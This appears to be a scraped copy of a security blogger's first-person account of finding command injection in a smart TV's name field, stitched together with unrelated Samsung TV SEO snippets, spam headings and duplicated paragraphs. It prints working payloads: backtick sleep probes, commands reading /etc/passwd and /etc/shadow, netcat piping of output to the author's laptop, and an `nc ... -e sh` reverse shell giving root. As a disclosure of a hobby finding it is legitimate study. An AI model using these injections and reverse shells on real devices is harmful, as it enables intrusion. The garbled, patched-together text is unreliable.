It was one of those lazy evenings, just watching TV after a long day. I was tired but kept on thinking about a vulnerability I found earlier on in a router someone gave me. Finding a flaw in such a device is always quite fun because you often see things that aren’t meant to be seen by the users, except the developers and maybe the company’s tech support team.
Smart TVs, from such manufacturers as Samsung, LG, Sony and Vizio, eliminate the need for a streaming accessory because they have built-in apps to connect to internet programming. Apr 03, 2017 The hack was performed at the European Broadcasting Union Media Cyber Security Seminar this February, and the security experts demonstrated it by hacking two of the latest models of Samsung, and it is likely to work against a wide variety of smart TVs. Another Samsung smart tv app hack is screen mirroring. You can mirror your smartphone’s content on the big screen with Samsung’s Smart View option. To start, go to the Samsung SmartThings app, tap on the TV name, hit on the three vertical dots icon, and then pick “Smart View”. This page, published by WikiLeaks, shows exactly what an agent needs to do to turn a Samsung Smart TV into a live microphone, right down to tinkering with the TV’s System Time setting. According to the FBI, unsecured smart TVs are at risk of being hacked by cybercriminals. The FBI recently stated your smart TV could be a gateway for hackers to come into your home.
Since I was very tired, I just wanted to set the sleep timer on the television and lie down. But while setting the timer I wondered about other possible menu functions, and if there any hidden features that are only meant for the support team or the developers. After a quick Google search on my mobile phone I found out that this brand of televisions has a code that opens a hidden menu.
After opening the settings and typing in the code on my remote control, another menu popped up on the left side of the screen. Almost all of the categories it showed weren’t accessible. I could only activate “Hotel Mode” and view the version number of the set.
I wanted to find out more about the TV. Within the settings, there was a category called “info”. I opened it and only saw some more version numbers. Then something else caught my attention; I could actually give my TV set a name.
The Vulnerability in My Smart Television Set
When you work in Information Security, you can’t help but to test some payloads you use on a daily basis on other input fields you encounter. It might be a GET parameter on your router’s web interface, the control panel of your new printer, or, in my case, a TV. So I thought it would be fun to rename my TV to “television `sleep 5`”.
After entering and submitting the payload from my remote, the settings menu just froze for a long time. Once it was responsive again I changed the name so I could select other menu entries. I didn’t really think that I had just found a command injection or something similar. It’s not odd for my TV to hang for a few seconds before changes are made, but because now it took a longer time to become responsive, it made me curious.
The time did not match my input as it was way longer than five seconds. I thought it might have something to do with the backtick characters I injected. Maybe the TV did not expect them and threw an error which prevented it from loading. I typed in “television `sleep 0`” and tried it again. It loaded instantly.
There is something definitely happening, but was not sure what and how. So I decided to measure the time. It turned out that it always took the television set three times longer than the input number to become responsive, as shown below:
- sleep(2) - 6 seconds
- sleep(3) - 9 seconds
- sleep(5) - 15 seconds
Running Commands on my Smart TV
I couldn’t believe it. There was actually a command injection in the first input field I tried. Freezing the menu was not an ultimate proof though, and it was not very useful in terms of exploitation. Since I only had 31 characters, minus the two backticks, my payload could only consist of 29 characters.
Below is a list of commands I tried to run on the TV, including an explanation of what they are and also a confirmation if they succeeded or not.
Command | Explanation | chars | succeeded |
`which nc && sleep 2` | which is a linux command that returns the path to a program if it exists. && sleep 2 would freeze the menu for 3*2 seconds if the which function found nc on the TV set. | 19 | Yes |
`which ssh && sleep 2` | I wanted to see if ssh was installed. | 20 | No |
`which wget && sleep 2` | But it had wget | 21 | Yes |
`cat /etc/passwd && sleep 2` | I wanted to see if /etc/passwd was readable. It was, and it would have been a big surprise if it wasn't | 26 | Yes |
`cat /etc/shadow && sleep 2` | This one is interesting. When you have root privileges the /etc/shadow file is readable. I wanted to test if I am root but the file wasn’t readable. | 26 | No |
`ls /etc/shadow && sleep 2` | This is the explanation why the shadow file couldn’t be opened. It just didn’t exist. | 25 | No |
Hacking Your Samsung Smart Tv App
It was really late so I decided to go to sleep and try to get a shell the next day. After waking up the hardest part followed: getting out of bed to get the laptop and an ethernet cable. Until now I didn’t even have to go anywhere and I found it quite funny that I was able to run system commands on my TV just by using a remote control.
Hacking Your Samsung Smart Tv Download
Getting Shell Access on the Smart TV
My TV is wall mounted, so plugging in a cable is not as easy as one would imagine. After a dislocated shoulder and several threats towards the TV I plugged the cable in. I connected it to the laptop and found out the laptop’s IP with ipconfig.
So now that I knew the IP address of my laptop, I only had to get a reverse shell to my laptop. Therefore I did not need to know the IP address of the TV. Also a reverse shell is handy because it would bypass any possible firewall rules blocking incoming connections. But before thinking about how to get one in less than 29 characters I wanted to learn a little bit more about the system.
Using Netcat on the Smart TV
I found out that there is nc installed on the TV set, so I decided to pipe the output of certain commands through nc back to my laptop. The first one I tried was of course id, which would tell me whether or not I had root privileges on the Smart TV set.
As seen from the above I had root privileges. This wasn’t too surprising, but it was still nice to see. The next thing I did was getting a directory listing of / with `ls -la /|nc 169.254.56.216 5`
Perfect. But I still had no shell to issue proper commands. All of them were more or less length restricted and not too useful. However, since the version of nc that was installed on the TV allowed the -e flag it was easy to get a reverse shell with: `nc 169.254.213.210 5 -e sh`
It was really late so I decided to go to sleep and try to get a shell the next day. After waking up the hardest part followed: getting out of bed to get the laptop and an ethernet cable. Until now I didn’t even have to go anywhere and I found it quite funny that I was able to run system commands on my TV just by using a remote control.
Hacking Your Samsung Smart Tv Download
Getting Shell Access on the Smart TV
My TV is wall mounted, so plugging in a cable is not as easy as one would imagine. After a dislocated shoulder and several threats towards the TV I plugged the cable in. I connected it to the laptop and found out the laptop’s IP with ipconfig.
So now that I knew the IP address of my laptop, I only had to get a reverse shell to my laptop. Therefore I did not need to know the IP address of the TV. Also a reverse shell is handy because it would bypass any possible firewall rules blocking incoming connections. But before thinking about how to get one in less than 29 characters I wanted to learn a little bit more about the system.
Using Netcat on the Smart TV
I found out that there is nc installed on the TV set, so I decided to pipe the output of certain commands through nc back to my laptop. The first one I tried was of course id, which would tell me whether or not I had root privileges on the Smart TV set.
As seen from the above I had root privileges. This wasn’t too surprising, but it was still nice to see. The next thing I did was getting a directory listing of / with `ls -la /|nc 169.254.56.216 5`
Perfect. But I still had no shell to issue proper commands. All of them were more or less length restricted and not too useful. However, since the version of nc that was installed on the TV allowed the -e flag it was easy to get a reverse shell with: `nc 169.254.213.210 5 -e sh`
Hacking Your Samsung Smart Tv
I Had Shell Access on the Smart TV
Perfect. I now had a proper shell to work with. I was especially interested in messing with the TV in a visible way. There were multiple possibilities, such as changing the logo that’s being shown during the boot up process, or changing the apps icons. Since this is a smart TV, it has some preinstalled apps such as Youtube and Skype.
Samsung Smart Tv Troubleshooting
I noticed that most of the file system was read only, so I could not just change the logos. But there were pictures that were frequently changing, i.e. the channel preview boxes you can see while zapping between different TV channels. They contained snapshots of the programs that ran when you visited the channel. Obviously those had to be saved in a place where you could read and write files.
I noticed that the icon images were .png files. I listed all files with a .png extension by using the command find / -name *.png but the preview files were not there. However I tried the same search but this time for .jpg files, and I noticed some files like channelImage123.jpg. After uploading the files that I wanted to show, and replacing the corresponding channelImage files, this was the result.
Your TV is Not as Smart as You Would Think
Internet connected devices can have vulnerabilities in the weirdest of places, where you would expect them less. When I tested the sleep command I didn’t even think it would work at all, I did it just out of boredom. I also had no idea that my TV runs on linux and was even more than surprised to see that my vulnerabilities are exploitable.
Hacking Your Samsung Smart Tv App
This vulnerability is not exploitable remotely, however it convinced me that I was right to not connect my TV to the internet, and use its (not so) smart features. I am not really comfortable with the thought that someone can have control over my TV.
How To Hack My Samsung Smart Tv Camera
I think there are way cooler things and more vulnerabilities that I could exploit on the TV set. But it is not worth the heart pains I get when the device freezes, and I have to wait for a minute to see whether it was bricked or not. Because after all you watch television to relax and not to raise your blood pressure, except if you like to watch football.
Samsung Smart Tv Manual
Your Information will be kept private.